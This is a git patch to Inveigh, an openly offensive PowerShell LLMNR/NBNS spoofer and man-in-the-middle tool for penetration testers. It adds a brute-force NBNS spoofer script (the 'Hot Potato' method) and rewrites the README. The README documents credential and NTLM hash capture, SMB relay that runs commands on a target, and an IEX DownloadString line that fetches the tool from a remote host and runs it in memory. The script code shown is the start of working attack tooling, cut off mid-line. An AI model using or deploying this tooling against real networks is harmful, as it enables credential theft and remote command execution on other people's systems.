From ef1db479fd6e495c2e0469121b3e3ca49209efaf Mon Sep 17 00:00:00 2001 From: Kevin Robertson Date: Tue, 15 Mar 2016 21:06:14 -0400 Subject: [PATCH] New Script - Inveigh-BruteForce New Script - Inveigh-BruteForce - Remote (Hot Potato method)/unprivileged NBNS brute force spoofer. Inveigh-BruteForce Features: Targeted IPv4 NBNS brute force spoofer with granular control NTLMv1/NTLMv2 challenge/response capture over HTTP Granular control of console and file output Run time control Inveigh New Parameters: HTTPSCertAppID - Specify a valid application GUID for use with the ceriticate. LLMNRTTL - Specify a custom LLMNR TTL in seconds for the response packet. NBNSTTL - Specify a custom NBNS TTL in seconds for the response packet. WPADDirectHosts - Comma separated list of hosts to list as direct in the wpad.dat file. Listed hosts will not be routed through the defined proxy. Inveigh-Relay New Parameters: HTTPSCertAppID - Specify a valid application GUID for use with the ceriticate. RunTime - Set the run time duration in minutes. Bug Fix: Fixed an SMB relay issue that was causing a hang before sending the NTLMv2 response. Thanks to @mubix for reporting the bug and providing a packet capture. --- Inveigh.psd1 | 2 +- Inveigh.psm1 | 1 + README.md | 282 ++++-- Scripts/Inveigh-BruteForce.ps1 | 1604 ++++++++++++++++++++++++++++++++ Scripts/Inveigh-Relay.ps1 | 349 +++++-- Scripts/Inveigh.ps1 | 415 +++++---- inveigh.pfx | Bin 2550 -> 2493 bytes 7 files changed, 2295 insertions(+), 358 deletions(-) create mode 100644 Scripts/Inveigh-BruteForce.ps1 diff --git a/Inveigh.psd1 b/Inveigh.psd1 index d9ec0b5..9b30cd6 100644 --- a/Inveigh.psd1 +++ b/Inveigh.psd1 @@ -27,7 +27,7 @@ CompanyName = '' Copyright = 'BSD 3-Clause' # Description of the functionality provided by this module -Description = 'Inveigh - LLMNR/NBNS spoofer with challenge/response capture over HTTP/SMB' +Description = 'Inveigh - LLMNR/NBNS spoofer/man-in-the-middle tool' # Minimum version of the Windows PowerShell engine required by this module PowerShellVersion = '2.0' diff --git a/Inveigh.psm1 b/Inveigh.psm1 index 19c181f..3e0cf7e 100644 --- a/Inveigh.psm1 +++ b/Inveigh.psm1 @@ -6,4 +6,5 @@ Inveigh is a Windows PowerShell LLMNR/NBNS spoofer with challenge/response captu https://github.com/Kevin-Robertson/Inveigh #> Import-Module $PWD\Scripts\Inveigh.ps1 +Import-Module $PWD\Scripts\Inveigh-BruteForce.ps1 Import-Module $PWD\Scripts\Inveigh-Relay.ps1 \ No newline at end of file diff --git a/README.md b/README.md index 0c45d4c..53adfbf 100644 --- a/README.md +++ b/README.md @@ -1,76 +1,214 @@ # Inveigh -Inveigh is a Windows PowerShell LLMNR/NBNS spoofer designed to assist penetration testers that find themselves limited to a Windows system. This can commonly occur while performing standard post exploitation, phishing attacks, USB drive attacks, VLAN pivoting, or simply being restricted to a Windows system as part of client imposed restrictions. - -# Requirements -Tested minimums are PowerShell 2.0 and .NET 3.5 - -# Notes -1. Currently supports IPv4 LLMNR/NBNS spoofing and HTTP/HTTPS/SMB NTLMv1/NTLMv2 challenge/response capture. -2. LLMNR/NBNS spoofing is performed through sniffing and sending with raw sockets. -3. SMB challenge/response captures are performed by sniffing over the host system's SMB service. -4. HTTP challenge/response captures are performed with a dedicated listener. -5. The local LLMNR/NBNS services do not need to be disabled on the host system. -6. LLMNR/NBNS spoofer will point victims to host system's SMB service, keep account lockout scenarios in mind. -7. Kerberos should downgrade for SMB authentication due to spoofed hostnames not being valid in DNS. -8. Ensure that the LMMNR,NBNS,SMB,HTTP ports are open within any local firewall on the host system. -9. If you copy/paste challenge/response captures from output window for password cracking, remove carriage returns. - -# Usage -Obtain an elevated administrator or SYSTEM shell and use a method to load the module - -To import with Import-Module: -Import-Module ./Inveigh.psd1 - -To import using dot source method: -. ./Inveigh.ps1 -. ./Inveigh-Relay.ps1 - -To load into memory using Invoke-Expression: -IEX (New-Object Net.WebClient).DownloadString("http://yourhost/Inveigh.ps1") -IEX (New-Object Net.WebClient).DownloadString("http://yourhost/Inveigh-Relay.ps1") - -To execute with default settings: -Invoke-Inveigh - -To load and execute with one line: -Import-Module ./Inveigh.ps1;Invoke-Inveigh - -To execute with features enabled/disabled: -Invoke-Inveigh -IP 'local IP' -SpooferIP 'local or remote IP' -LLMNR Y/N -NBNS Y/N -NBNSTypes 00,03,20,1B -HTTP Y/N -HTTPS Y/N -SMB Y/N -Repeat Y/N -ConsoleOutput Y/N -FileOutput Y/N -OutputDir 'valid folder path' - -To execute with SMB relay enabled through Invoke-Inveigh: -Invoke-Inveigh -SMBRelay Y -SMBRelayTarget 'valid SMB target IP' -SMBRelayCommand "valid command to run on target" - -To execute with SMB relay with only Invoke-InveighRelay: -Invoke-InveighRelay -SMBRelayTarget 'valid SMB target IP' -SMBRelayCommand "valid command to run on target" - -Use 'Get-Help -parameter * Invoke-Inveigh' for a full list of parameters - -# Functions -Invoke-Inveigh - Start Inveigh with or without parameters -Invoke-InveighRelay - SMB relay function -Get-Inveigh - Get queued console output -Get-InveighCleartext - Get all captured cleartext credentials -Get-InveighLog - Get log entries -Get-InveighNTLM - Get all captured challenge/response hashes -Get-InveighNTLMv1 - Get captured NTLMv1 challenge/response hashes -Get-InveighNTLMv2 - Get captured NTLMv2 challenge/response hashes -Get-InveighStats - Get captured challenge/response counts -Watch-Inveigh - Enable real time console output -Clear-Inveigh - Clear Inveigh data from memory -Stop-Inveigh - Stop all running Inveigh functions - -# Included In -PowerShell Empire - https://github.com/PowerShellEmpire/Empire -PS>Attack - https://github.com/jaredhaight/psattack -p0wnedShell - https://github.com/Cn33liz/p0wnedShell - -# Special Thanks -Anyone that posted .net packet sniffing examples. -Responder - https://github.com/SpiderLabs/Responder -Impacket - https://github.com/CoreSecurity/impacket - -# Screenshots +Inveigh is a Windows PowerShell LLMNR/NBNS spoofer/man-in-the-middle tool designed to assist penetration testers that find themselves limited to a Windows system. + +## Functions +### Invoke-Inveigh +* The main Inveigh LLMNR/NBNS spoofer function. + +##### Privilege Requirements: +* Elevated Administrator or SYSTEM + +##### Features: +* IPv4 LLMNR/NBNS spoofer with granular control +* NTLMv1/NTLMv2 challenge/response capture over HTTP/HTTPS/SMB +* Basic auth cleartext credential capture over HTTP/HTTPS +* WPAD server capable of hosting a basic or custom wpad.dat file +* HTTP/HTTPS server capable of hosting limited content +* Granular control of console and file output +* Run time control + +##### Notes: +* LLMNR/NBNS spoofing is performed by packet sniffing and responding through raw sockets. +* SMB challenge/response captures are performed by sniffing over the host system's SMB service. + +##### Parameters: +* __IP__ - Specify a specific local IP address for listening. This IP address will also be used for LLMNR/NBNS spoofing if the 'SpooferIP' parameter is not set. +* __SpooferIP__ - Specify an IP address for LLMNR/NBNS spoofing. This parameter is only necessary when redirecting victims to a system other than the Inveigh host. +* __SpooferHostsReply__ - Default = All: Comma separated list of requested hostnames to respond to when spoofing with LLMNR and NBNS. +* __SpooferHostsIgnore__ - Default = All: Comma separated list of requested hostnames to ignore when spoofing with LLMNR and NBNS. +* __SpooferIPsReply__ - Default = All: Comma separated list of source IP addresses to respond to when spoofing with LLMNR and NBNS. +* __SpooferIPsIgnore__ - Default = All: Comma separated list of source IP addresses to ignore when spoofing with LLMNR and NBNS. +* __SpooferRepeat__ - Default = Enabled: (Y/N) Enable/Disable repeated LLMNR/NBNS spoofs to a victim system after one user challenge/response has been captured. +* __LLMNR__ - Default = Enabled: (Y/N) Enable/Disable LLMNR spoofing. +* __LLMNRTTL__ - Default = 30 Seconds: Specify a custom LLMNR TTL in seconds for the response packet. +* __NBNS__ - Default = Disabled: (Y/N) Enable/Disable NBNS spoofing. +* __NBNSTTL__ - Default = 165 Seconds: Specify a custom NBNS TTL in seconds for the response packet. +* __NBNSTypes__ - Default = 00,20: Comma separated list of NBNS types to spoof. Types include 00 = Workstation Service, 03 = Messenger Service, 20 = Server Service, 1B = Domain Name +* __HTTP__ - Default = Enabled: (Y/N) Enable/Disable HTTP challenge/response capture. +* __HTTPS__ - Default = Disabled: (Y/N) Enable/Disable HTTPS challenge/response capture. Warning, a cert will be installed in the local store and attached to port 443. If the function does not exit gracefully, execute "netsh http delete sslcert ipport=0.0.0.0:443" and manually remove the certificate from "Local Computer\Personal" in the cert store. +* __HTTPAuth__ - Default = NTLM: (Anonymous,Basic,NTLM) Specify the HTTP/HTTPS server authentication type. This setting does not apply to wpad.dat requests. +* __HTTPBasicRealm__ - Specify a realm name for Basic authentication. This parameter applies to both HTTPAuth and WPADAuth. +* __HTTPDir__ - Specify a full directory path to enable hosting of basic content through the HTTP/HTTPS listener. This parameter will not be used if HTTPResponse is set. +* __HTTPDefaultFile__ - Specify a filename within the HTTPDir to serve as the default HTTP/HTTPS response file. This file will not be used for wpad.dat requests. +* __HTTPDefaultEXE__ - Specify an EXE filename within the HTTPDir to serve as the default HTTP/HTTPS response for EXE requests. +* __HTTPResponse__ - Specify a string or HTML to serve as the default HTTP/HTTPS response. This response will not be used for wpad.dat requests. +* __HTTPSCertAppID__ - Specify a valid application GUID for use with the ceriticate. +* __HTTPSCertThumbprint__ - Specify a certificate thumbprint for use with a custom certificate. The certificate filename must be located in the current working directory and named Inveigh.pfx. +* __WPADAuth__ - Default = NTLM: (Anonymous,Basic,NTLM) Specify the HTTP/HTTPS server authentication type for wpad.dat requests. Setting to Anonymous can prevent browser login prompts. +* __WPADIP__ - Specify a proxy server IP to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter must be used with WPADPort. +* __WPADPort__ - Specify a proxy server port to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter must be used with WPADIP. +* __WPADDirectHosts__ - Comma separated list of hosts to list as direct in the wpad.dat file. Listed hosts will not be routed through the defined proxy. +* __WPADResponse__ - Specify wpad.dat file contents to serve as the wpad.dat response. This parameter will not be used if WPADIP and WPADPort are set. +* __SMB__ - Default = Enabled: (Y/N) Enable/Disable SMB challenge/response capture. Warning, LLMNR/NBNS spoofing can still direct targets to the host system's SMB server. Block TCP ports 445/139 or kill the SMB services if you need to prevent login requests from being processed by the Inveigh host. +* __Challenge__ - Default = Random: Specify a 16 character hex NTLM challenge for use with the HTTP listener. If left blank, a random challenge will be generated for each request. This will only be used for non-relay captures. +* __MachineAccounts__ - Default = Disabled: (Y/N) Enable/Disable showing NTLM challenge/response captures from machine accounts. +* __SMBRelay__ - Default = Disabled: (Y/N) Enable/Disable SMB relay. Note that Inveigh-Relay.ps1 must be loaded into memory. +* __SMBRelayTarget__ - IP address of system to target for SMB relay. +* __SMBRelayCommand__ - Command to execute on SMB relay target. +* __SMBRelayUsernames__ - Default = All Usernames: Comma separated list of usernames to use for relay attacks. Accepts both username and domain\username format. +* __SMBRelayAutoDisable__ - Default = Enable: (Y/N) Automaticaly disable SMB relay after a successful command execution on target. +* __SMBRelayNetworkTimeout__ - Default = No Timeout: (Integer) Set the duration in seconds that Inveigh will wait for a reply from the SMB relay target after each packet is sent. +* __ConsoleOutput__ - Default = Disabled: (Y/N) Enable/Disable real time console output. If using this option through a shell, test to ensure that it doesn't hang the shell. +* __FileOutput__ - Default = Disabled: (Y/N) Enable/Disable real time file output. +* __StatusOutput__ - Default = Enabled: (Y/N) Enable/Disable startup and shutdown messages. +* __OutputStreamOnly__ - Default = Disabled: (Y/N) Enable/Disable forcing all output to the standard output stream. This can be helpful if running Inveigh through a shell that does not return other output streams. Note that you will not see the various yellow warning messages if enabled. +* __OutputDir__ - Default = Working Directory: Set a valid path to an output directory for log and capture files. FileOutput must also be enabled. +* __ShowHelp__ - Default = Enabled: (Y/N) Enable/Disable the help messages at startup. +* __RunTime__ - Default = Unlimited: (Integer) Set the run time duration in minutes. +* __Inspect__ - (Switch) Disable LLMNR, NBNS, HTTP, HTTPS, and SMB in order to only inspect LLMNR/NBNS traffic. +* __Tool__ - Default = 0: (0,1,2) Enable/Disable features for better operation through external tools such as Metasploit's Interactive Powershell Sessions and Empire. 0 = None, 1 = Metasploit, 2 = Empire + +### Invoke-InveighBruteForce +* The remote (Hot Potato method)/unprivileged NBNS brute force spoofer function. This function can be used to perform NBNS spoofing across subnets and/or perform NBNS spoofing without an elevated administrator or SYSTEM shell. + +##### Privilege Requirements: +* Regular User + +##### Features: +* Targeted IPv4 NBNS brute force spoofer with granular control +* NTLMv1/NTLMv2 challenge/response capture over HTTP +* Granular control of console and file output +* Run time control + +##### Parameters: +* __SpooferIP__ - Specify an IP address for NBNS spoofing. This parameter is only necessary when redirecting victims to a system other than the Inveigh Brute Force host. +* __SpooferTarget__ - Specify an IP address to target for brute force NBNS spoofing. +* __Hostname__ - Default = WPAD: Specify a hostname for NBNS spoofing. +* __NBNS__ - Default = Disabled: (Y/N) Enable/Disable NBNS spoofing. +* __NBNSPause__ Default = Disabled: (Integer) Specify the number of seconds the NBNS brute force spoofer will stop spoofing after an incoming HTTP request is received. +* __NBNSTTL__ - Default = 165 Seconds: Specify a custom NBNS TTL in seconds for the response packet. +* __HTTP__ - Default = Enabled: (Y/N) Enable/Disable HTTP challenge/response capture. +* __HTTPIP__ - Default = Any: Specify a TCP IP address for the HTTP listener. +* __HTTPPort__ - Default = 80: Specify a TCP port for the HTTP listener. +* __HTTPAuth__ - Default = NTLM: (Anonymous,Basic,NTLM) Specify the HTTP/HTTPS server authentication type. This setting does not apply to wpad.dat requests. +* __HTTPBasicRealm__ - Specify a realm name for Basic authentication. This parameter applies to both HTTPAuth and WPADAuth. +* __HTTPResponse__ - Specify a string or HTML to serve as the default HTTP/HTTPS response. This response will not be used for wpad.dat requests. +* __WPADAuth__ - Default = NTLM: (Anonymous,Basic,NTLM) Specify the HTTP/HTTPS server authentication type for wpad.dat requests. Setting to Anonymous can prevent browser login prompts. +* __WPADIP__ - Specify a proxy server IP to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter must be used with WPADPort. +* __WPADPort__ - Specify a proxy server port to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter must be used with WPADIP. +* __WPADDirectHosts__ - Comma separated list of hosts to list as direct in the wpad.dat file. Listed hosts will not be routed through the defined proxy. +* __WPADResponse__ - Specify wpad.dat file contents to serve as the wpad.dat response. This parameter will not be used if WPADIP and WPADPort are set. +* __Challenge__ - Default = Random: Specify a 16 character hex NTLM challenge for use with the HTTP listener. If left blank, a random challenge will be generated for each request. This will only be used for non-relay captures. +* __MachineAccounts__ - Default = Disabled: (Y/N) Enable/Disable showing NTLM challenge/response captures from machine accounts. +* __ConsoleOutput__ - Default = Disabled: (Y/N) Enable/Disable real time console output. If using this option through a shell, test to ensure that it doesn't hang the shell. +* __FileOutput__ - Default = Disabled: (Y/N) Enable/Disable real time file output. +* __StatusOutput__ - Default = Enabled: (Y/N) Enable/Disable startup and shutdown messages. +* __OutputStreamOnly__ - Default = Disabled: (Y/N) Enable/Disable forcing all output to the standard output stream. This can be helpful if running Inveigh Brute Force through a shell that does not return other output streams. Note that you will not see the various yellow warning messages if enabled. +* __OutputDir__ - Default = Working Directory: Set a valid path to an output directory for log and capture files. FileOutput must also be enabled. +* __ShowHelp__ - Default = Enabled: (Y/N) Enable/Disable the help messages at startup. +* __RunCount__ - Default = Unlimited: (Integer) Set the number of captures to perform before auto-exiting. +* __RunTime__ - Default = Unlimited: (Integer) Set the run time duration in minutes. +* __Tool__ - Default = 0: (0,1,2) Enable/Disable features for better operation through external tools such as Metasploit's Interactive Powershell Sessions and Empire. 0 = None, 1 = Metasploit, 2 = Empire + +### Invoke-InveighRelay +* The NTLMv2 HTTP/HTTPS to SMB relay command execution function. This function can be used with or without Invoke-Inveigh. + +##### Privilege Requirements: +* Elevated Administrator or SYSTEM + +##### Features: +* HTTP/HTTPS to SMB NTLMv2 relay with granular control +* NTLMv1/NTLMv2 challenge/response capture over HTTP/HTTPS +* Granular control of console and file output +* Can be executed as either a standalone function or through Invoke-Inveigh + +##### Parameters: +* __HTTP__ - Default = Enabled: (Y/N) Enable/Disable HTTP challenge/response capture. +* __HTTPS__ - Default = Disabled: (Y/N) Enable/Disable HTTPS challenge/response capture. Warning, a cert will be installed in the local store and attached to port 443. If the script does not exit gracefully, execute "netsh http delete sslcert ipport=0.0.0.0:443" and manually remove the certificate from "Local Computer\Personal" in the cert store. +* __HTTPSCertAppID__ - Specify a valid application GUID for use with the ceriticate. +* __HTTPSCertThumbprint__ - Specify a certificate thumbprint for use with a custom certificate. The certificate filename must be located in the current working directory and named Inveigh.pfx. +* __Challenge__ - Default = Random: Specify a 16 character hex NTLM challenge for use with the HTTP listener. If left blank, a random challenge will be generated for each request. Note that during SMB relay attempts, the challenge will be pulled from the SMB relay target. +* __MachineAccounts__ - Default = Disabled: (Y/N) Enable/Disable showing NTLM challenge/response captures from machine accounts. +* __WPADAuth__ - Default = NTLM: (Anonymous,NTLM) Specify the HTTP/HTTPS server authentication type for wpad.dat requests. Setting to Anonymous can prevent browser login prompts. +* __SMBRelayTarget__ - IP address of system to target for SMB relay. +* __SMBRelayCommand__ - Command to execute on SMB relay target. +* __SMBRelayUsernames__ - Default = All Usernames: Comma separated list of usernames to use for relay attacks. Accepts both username and domain\username format. +* __SMBRelayAutoDisable__ - Default = Enable: (Y/N) Automaticaly disable SMB relay after a successful command execution on target. +* __SMBRelayNetworkTimeout__ - Default = No Timeout: (Integer) Set the duration in seconds that Inveigh will wait for a reply from the SMB relay target after each packet is sent. +* __ConsoleOutput__ - Default = Disabled: (Y/N) Enable/Disable real time console output. If using this option through a shell, test to ensure that it doesn't hang the shell. +* __FileOutput__ - Default = Disabled: (Y/N) Enable/Disable real time file output. +* __StatusOutput__ - Default = Enabled: (Y/N) Enable/Disable startup and shutdown messages. +* __OutputStreamOnly__ - Default = Disabled: Enable/Disable forcing all output to the standard output stream. This can be helpful if running Inveigh Relay through a shell that does not return other output streams. Note that you will not see the various yellow warning messages if enabled. +* __OutputDir__ - Default = Working Directory: Set a valid path to an output directory for log and capture files. FileOutput must also be enabled. +* __ShowHelp__ - Default = Enabled: (Y/N) Enable/Disable the help messages at startup. +* __RunTime__ - Default = Unlimited: (Integer) Set the run time duration in minutes. +* __Tool__ - Default = 0: (0,1,2) Enable/Disable features for better operation through external tools such as Metasploit's Interactive Powershell Sessions and Empire. 0 = None, 1 = Metasploit, 2 = Empire + +### Support Functions +* __Get-Inveigh__ - Get queued console output +* __Get-InveighCleartext__ - Get all captured cleartext credentials +* __Get-InveighLog__ - Get log entries +* __Get-InveighNTLM__ - Get all captured challenge/response hashes +* __Get-InveighNTLMv1__ - Get all or unique (-unique) captured NTLMv1 challenge/response hashes +* __Get-InveighNTLMv2__ - Get all or unique (-unique) captured NTLMv2 challenge/response hashes +* __Get-InveighStat__ - Get captured challenge/response counts +* __Watch-Inveigh__ - Enable real time console output +* __Clear-Inveigh__ - Clear Inveigh data from memory +* __Stop-Inveigh__ - Stop all running Inveigh functions + +## Miscellaneous Notes +* The local LLMNR/NBNS services do not need to be disabled on the host system. +* LLMNR/NBNS spoofer will point victims to host system's SMB service, keep account lockout scenarios in mind. +* Kerberos should downgrade for SMB authentication due to spoofed hostnames not being valid in DNS. +* Ensure that any needed LMMNR,NBNS,SMB,HTTP,HTTPS ports are open within any local firewall on the host system. +* If you copy/paste challenge/response captures from the console window for password cracking, ensure that there are no extra carriage returns. + +## System Requirements +* Tested minimums are PowerShell 2.0 and .NET 3.5 + +## Usage +* To import with Import-Module: + Import-Module ./Inveigh.psd1 + +* To import using dot source method: + . ./Inveigh.ps1 + . ./Inveigh-BruteForce.ps1 + . ./Inveigh-Relay.ps1 + +* To load into memory using Invoke-Expression: + IEX (New-Object Net.WebClient).DownloadString("http://yourhost/Inveigh.ps1") + IEX (New-Object Net.WebClient).DownloadString("http://yourhost/Inveigh-Relay.ps1") + +## Examples +* To execute with default settings: + Invoke-Inveigh + +* To load and execute with one line: + Import-Module ./Inveigh.ps1;Invoke-Inveigh + +* To execute with parameters (Use 'Get-Help -parameter * Invoke-Inveigh' for a full list of parameters): + Invoke-Inveigh -IP 'local IP' -SpooferIP 'local or remote IP' -LLMNR Y/N -NBNS Y/N -NBNSTypes 00,03,20,1B -HTTP Y/N -HTTPS Y/N -SMB Y/N -Repeat Y/N -ConsoleOutput Y/N -FileOutput Y/N -OutputDir 'valid folder path' + +* To execute with SMB relay enabled through Invoke-Inveigh: + Invoke-Inveigh -SMBRelay Y -SMBRelayTarget 'valid SMB target IP' -SMBRelayCommand "valid command to run on target" + +* To execute SMB relay with only Invoke-InveighRelay: + Invoke-InveighRelay -SMBRelayTarget 'valid SMB target IP' -SMBRelayCommand "valid command to run on target" + +* To execute Inveigh-BruteForce against a target: + Invoke-InveighRelay -SpooferTarget 'valid SMB target IP' + +## Included In +* PowerShell Empire - https://github.com/PowerShellEmpire/Empire +* PS>Attack - https://github.com/jaredhaight/psattack +* p0wnedShell - https://github.com/Cn33liz/p0wnedShell + +## Special Thanks +* Anyone that posted .NET packet sniffing examples. +* Responder - https://github.com/SpiderLabs/Responder +* Impacket - https://github.com/CoreSecurity/impacket + +## Screenshots Invoke-Inveigh execution with real time console and file output enabled ![inveighv1](https://cloud.githubusercontent.com/assets/5897462/12239354/4bb8a01a-b856-11e5-8a1e-5c0ebbb1ff35.PNG) diff --git a/Scripts/Inveigh-BruteForce.ps1 b/Scripts/Inveigh-BruteForce.ps1 new file mode 100644 index 0000000..e1cdc04 --- /dev/null +++ b/Scripts/Inveigh-BruteForce.ps1 @@ -0,0 +1,1604 @@ +Function Invoke-InveighBruteForce +{ +<# +.SYNOPSIS +Invoke-InveighBruteForce is a remote (Hot Potato method)/unprivileged NBNS brute force spoofer. + +.DESCRIPTION +Invoke-InveighBruteForce is a remote (Hot Potato method)/unprivileged NBNS brute force spoofer with the following features: + + Targeted IPv4 NBNS brute force spoofer with granular control + NTLMv1/NTLMv2 challenge/response capture over HTTP + Granular control of console and file output + Run time control + +This function can be used to perform NBNS spoofing across subnets and/or perform NBNS spoofing without an elevated administrator or SYSTEM shell. + +.PARAMETER SpooferIP +Specify an IP address for NBNS spoofing. This parameter is only necessary when redirecting victims to a system other than the Inveigh Brute Force host. + +.PARAMETER SpooferTarget +Specify an IP address to target for brute force NBNS spoofing. + +.PARAMETER Hostname +Default = WPAD: Specify a hostname for NBNS spoofing. + +.PARAMETER NBNS +Default = Disabled: (Y/N) Enable/Disable NBNS spoofing. + +.PARAMETER NBNSPause +Default = Disabled: (Integer) Specify the number of seconds the NBNS brute force spoofer will stop spoofing after an incoming HTTP request is received. + +.PARAMETER NBNSTTL +Default = 165 Seconds: Specify a custom NBNS TTL in seconds for the response packet. + +.PARAMETER HTTP +Default = Enabled: (Y/N) Enable/Disable HTTP challenge/response capture. + +.PARAMETER HTTPIP +Default = Any: Specify a TCP IP address for the HTTP listener. + +.PARAMETER HTTPPort +Default = 80: Specify a TCP port for the HTTP listener. + +.PARAMETER HTTPAuth +Default = NTLM: (Anonymous,Basic,NTLM) Specify the HTTP/HTTPS server authentication type. This setting does not apply to wpad.dat requests. + +.PARAMETER HTTPBasicRealm +Specify a realm name for Basic authentication. This parameter applies to both HTTPAuth and WPADAuth. + +.PARAMETER HTTPResponse +Specify a string or HTML to serve as the default HTTP/HTTPS response. This response will not be used for wpad.dat requests. + +.PARAMETER WPADAuth +Default = NTLM: (Anonymous,Basic,NTLM) Specify the HTTP/HTTPS server authentication type for wpad.dat requests. Setting to Anonymous can prevent browser login prompts. + +.PARAMETER WPADIP +Specify a proxy server IP to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter must be used with WPADPort. + +.PARAMETER WPADPort +Specify a proxy server port to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter must be used with WPADIP. + +.PARAMETER WPADDirectHosts +Comma separated list of hosts to list as direct in the wpad.dat file. Listed hosts will not be routed through the defined proxy. + +.PARAMETER WPADResponse +Specify wpad.dat file contents to serve as the wpad.dat response. This parameter will not be used if WPADIP and WPADPort are set. + +.PARAMETER Challenge +Default = Random: Specify a 16 character hex NTLM challenge for use with the HTTP listener. If left blank, a random challenge will be generated for each request. This will only be used for non-relay captures. + +.PARAMETER MachineAccounts +Default = Disabled: (Y/N) Enable/Disable showing NTLM challenge/response captures from machine accounts. + +.PARAMETER ConsoleOutput +Default = Disabled: (Y/N) Enable/Disable real time console output. If using this option through a shell, test to ensure that it doesn't hang the shell. + +.PARAMETER FileOutput +Default = Disabled: (Y/N) Enable/Disable real time file output. + +.PARAMETER StatusOutput +Default = Enabled: (Y/N) Enable/Disable startup and shutdown messages. + +.PARAMETER OutputStreamOnly +Default = Disabled: (Y/N) Enable/Disable forcing all output to the standard output stream. This can be helpful if running Inveigh Brute Force through a shell that does not return other output streams. +Note that you will not see the various yellow warning messages if enabled. + +.PARAMETER OutputDir +Default = Working Directory: Set a valid path to an output directory for log and capture files. FileOutput must also be enabled. + +.PARAMETER ShowHelp +Default = Enabled: (Y/N) Enable/Disable the help messages at startup. + +.PARAMETER RunTime +Default = Unlimited: (Integer) Set the run time duration in minutes. + +.PARAMETER RunCount +Default = Unlimited: (Integer) Set the number of captures to perform before auto-exiting. + +.PARAMETER Tool +Default = 0: (0,1,2) Enable/Disable features for better operation through external tools such as Metasploit's Interactive Powershell Sessions and Empire. 0 = None, 1 = Metasploit, 2 = Empire + +.EXAMPLE +Import-Module .\Inveigh.psd1;Invoke-InveighBruteForce -SpooferTarget 192.168.1.11 +Import full module and target 192.168.1.11 for 'WPAD' hostname spoofs. + +.EXAMPLE +Invoke-InveighBruteForce -SpooferTarget 192.168.1.11 -Hostname server1 +Target 192.168.1.11 for 'server1' hostname spoofs. + +.EXAMPLE +Invoke-InveighBruteForce -SpooferTarget 192.168.1.11 -WPADIP 192.168.10.10 -WPADPort 8080 +Target 192.168.1.11 for 'WPAD' hostname spoofs and respond to wpad.dat requests with a proxy of 192.168.10.10:8080. + +.LINK +https://github.com/Kevin-Robertson/Inveigh +#> + +# Parameter default values can be modified in this section: +param +( + [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$HTTP="Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$NBNS="Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$ConsoleOutput="N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$FileOutput="N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$StatusOutput="Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$OutputStreamOnly="N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$MachineAccounts="N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$ShowHelp="Y", + [parameter(Mandatory=$false)][ValidateSet("0","1","2")][string]$Tool="0", + [parameter(Mandatory=$false)][ValidateSet("Anonymous","Basic","NTLM")][string]$HTTPAuth="NTLM", + [parameter(Mandatory=$false)][ValidateSet("Anonymous","Basic","NTLM")][string]$WPADAuth="NTLM", + [parameter(Mandatory=$false)][ValidateScript({$_ -match [IPAddress]$_ })][string]$HTTPIP="", + [parameter(Mandatory=$false)][ValidateScript({$_ -match [IPAddress]$_ })][string]$SpooferIP="", + [parameter(Mandatory=$false)][ValidateScript({$_ -match [IPAddress]$_ })][string]$SpooferTarget="", + [parameter(Mandatory=$false)][ValidateScript({$_ -match [IPAddress]$_ })][string]$WPADIP = "", + [parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][string]$OutputDir="", + [parameter(Mandatory=$false)][ValidatePattern('^[A-Fa-f0-9]{16}$')][string]$Challenge="", + [parameter(Mandatory=$false)][array]$WPADDirectHosts="", + [parameter(Mandatory=$false)][int]$HTTPPort="80", + [parameter(Mandatory=$false)][int]$NBNSPause="", + [parameter(Mandatory=$false)][int]$NBNSTTL="165", + [parameter(Mandatory=$false)][int]$WPADPort="", + [parameter(Mandatory=$false)][int]$RunCount="", + [parameter(Mandatory=$false)][int]$RunTime="", + [parameter(Mandatory=$false)][string]$HTTPBasicRealm="IIS", + [parameter(Mandatory=$false)][string]$HTTPResponse="", + [parameter(Mandatory=$false)][string]$WPADResponse="", + [parameter(Mandatory=$false)][string]$Hostname = "WPAD", + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter +) + +if ($invalid_parameter) +{ + throw "$($invalid_parameter) is not a valid parameter." +} + +if(!$SpooferIP) +{ + $SpooferIP = (Test-Connection 127.0.0.1 -count 1 | Select-Object -ExpandProperty Ipv4Address) +} + +if($NBNS -eq 'y' -and !$SpooferTarget) +{ + Throw "You must specify a -SpooferTarget if enabling -NBNS" +} + +if($WPADIP -or $WPADPort) +{ + if(!$WPADIP) + { + Throw "You must specify a -WPADPort to go with -WPADIP" + } + + if(!$WPADPort) + { + Throw "You must specify a -WPADIP to go with -WPADPort" + } +} + +if(!$OutputDir) +{ + $output_directory = $PWD.Path +} +else +{ + $output_directory = $OutputDir +} + +if(!$inveigh) +{ + $global:inveigh = [hashtable]::Synchronized(@{}) + $inveigh.log = New-Object System.Collections.ArrayList + $inveigh.NTLMv1_list = New-Object System.Collections.ArrayList + $inveigh.NTLMv2_list = New-Object System.Collections.ArrayList + $inveigh.cleartext_list = New-Object System.Collections.ArrayList +} + +if($inveigh.bruteforce_running) +{ + Throw "Invoke-InveighBruteForce is already running, use Stop-Inveigh" +} + +$inveigh.console_queue = New-Object System.Collections.ArrayList +$inveigh.status_queue = New-Object System.Collections.ArrayList +$inveigh.log_file_queue = New-Object System.Collections.ArrayList +$inveigh.NTLMv1_file_queue = New-Object System.Collections.ArrayList +$inveigh.NTLMv2_file_queue = New-Object System.Collections.ArrayList +$inveigh.cleartext_file_queue = New-Object System.Collections.ArrayList +$inveigh.HTTP_challenge_queue = New-Object System.Collections.ArrayList +$inveigh.console_output = $false +$inveigh.console_input = $true +$inveigh.file_output = $false +$inveigh.log_out_file = $output_directory + "\Inveigh-Log.txt" +$inveigh.NTLMv1_out_file = $output_directory + 